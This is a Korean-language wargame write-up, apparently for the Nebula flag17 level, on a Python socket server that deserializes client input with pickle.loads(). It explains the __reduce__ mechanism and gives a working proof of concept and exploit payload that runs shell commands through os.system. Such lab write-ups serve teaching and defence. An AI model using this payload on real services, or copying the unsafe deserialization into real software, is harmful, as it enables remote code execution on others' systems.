소스코드
flag17 계정의 홈디렉터리에 가보면 상단의 소스코드가 쓰여진 flag17.py 파일이 있으며, flag17 계정의 이름으로
flag17.py가 실행중임을 확인 가능하다.
소스코드 분석
우선 소스코드 분석 먼저진행해보자.
1. 우선 서버는 IPv4 주소체계를 사용하여 10007 포트로 들어오는 요청을 바인딩하여 기다리고 있다 .
2. 이제 while True 를 통해 무한루프를 걸고있는데, 즉, 무한정 기다리면서. client 의 연결 요청을 기다린다.
그러다가 client 의 접속요청이 들어오면 os.fork() 를 통해 자식 프로세스를 생성하고있는데, 그 자식프로세스의PID 가
0 이면 접속한 Client 에게 현재 커넥션 clnt 정보를 담아 메시지를 보내게되고, 사설함수 server 의 인자로 보낸다.
3. 사설함수 server 는 인자로 들어온 커넥션 clnt 로부터 1024 바이트만큼 받아서 pickle 모듈의 loads() 함수를 통해
1024 바이트를 다시 역직렬화 (Deserialize) 한다.
#!/usr/bin/python
import os
import pickle
import time
import socket
import signal
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
def server(skt):
line = skt.recv(1024)
obj = pickle.loads(line)
for i in obj:
clnt.send("why did you send me " + i + "?\n")
skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)
while True:
clnt, addr = skt.accept()
if(os.fork() == 0):
clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
server(clnt)
exit(1)
취약점 분석
상단의 소스코드에서 문제가 있는 부분은 사설함수 server 의 pickle.loads() 이다.
pickle.loads() 는 인자로 들어온 skt. 즉, 현재 커넥션정보이자 client 으로 부터 전송된 메시지를 1024 바이트 길이만큼 Deserialize(역직렬화) 하고 있다는 의미이다.
def server(skt):
line = skt.recv(1024)
obj = pickle.loads(line)
for i in obj:
clnt.send("why did you send me " + i + "?\n")
여기서 직렬화, 그리고 역직렬화의 의미는 아래와 같다.
직렬화 Serialize --> 객체를 전송가능한 데이터. 즉 바이트코드로 변환하겠다는 의미.
역직렬화 Deserialize --> 직렬화된 바이트코드를 다시 역직렬화하여 객체로 변환하겠다는 의미.
이러한 직렬화, 역직렬화를 하는 과정은 파이썬에서는 pickle 모듈의 dumps() 와 loads() 함수가 제공한다.
문제는 직렬화된 객체를 다시 역직렬화를 할떄 발생한다.
파이썬의 pickle 모듈에선는 loads() 함수를 호출할때 내부적으로 loads() 함수의 인자로 넘어온 객체의 매직메서드(스폐셜메서드) __reduce __ 를 호출하게 된다.
__reduce__ 메서드는 인수를 받지않고, 문자열 또는 튜플을 반환하게끔 해야하다는 규칙이 있으며, 튜플의 인자 개수는 2개이상 6개 이하여야한다.
첫번쨰 인자로는 객체가 생성(초기화)될때 호출할 함수객체(함수)를 명시해야하고
두번째 인자로는 첫번쨰인자로 명시한 함수에 전달할 인자를 튜플로 전달해야한다. (인자가 없어도 빈튜플)
POC
import pickle
import os
class Exploit(object):
def __reduce__(self):
return os.system, ("id",)
if __name__ == '__main__':
print("===== start Serialize ======")
serialize = pickle.dumps(Exploit())
print(serialize)
print("===== start Deserialize =====")
deserialize = pickle.loads(serialize)
print(deserialize)
객체를 직렬화해서 바이트코드로 변경되었고, 이를 다시 역직렬화시키는 과정에 id 시스템명령어가 실행되는 것이다.
Exploit
상단의 코드를 조금만 바꿔주면 Exploit 코드를 완성시킬수있다. 서버측에서 1024 바이트만큼 알아서 받아서 역직렬화시키기 때문에, 우리는 직렬화된 바이트코드를 stdin 으로 보내주면 끝이다.
import pickle
import os
class Exploit(object):
def __reduce__(self):
return os.system, ("getflag > /tmp/flag",)
if __name__ == '__main__':
serialize = pickle.dumps(Exploit())
print(serialize)
겉보기에는 변화가없지만, /tmp/flag 를 보면 getflag 명령어의 결과가 성공적으로 리다이렉션됨을 확인할 수 있다.
https://docs.python.org/3/library/pickle.html
pickle — Python object serialization
Source code: Lib/pickle.py The pickle module implements binary protocols for serializing and de-serializing a Python object structure. “Pickling” is the process whereby a Python object hierarchy is...
docs.python.org
https://davidhamann.de/2020/04/05/exploiting-python-pickle/
Exploiting Python pickles
How unpickling untrusted data can lead to remote code execution.
davidhamann.de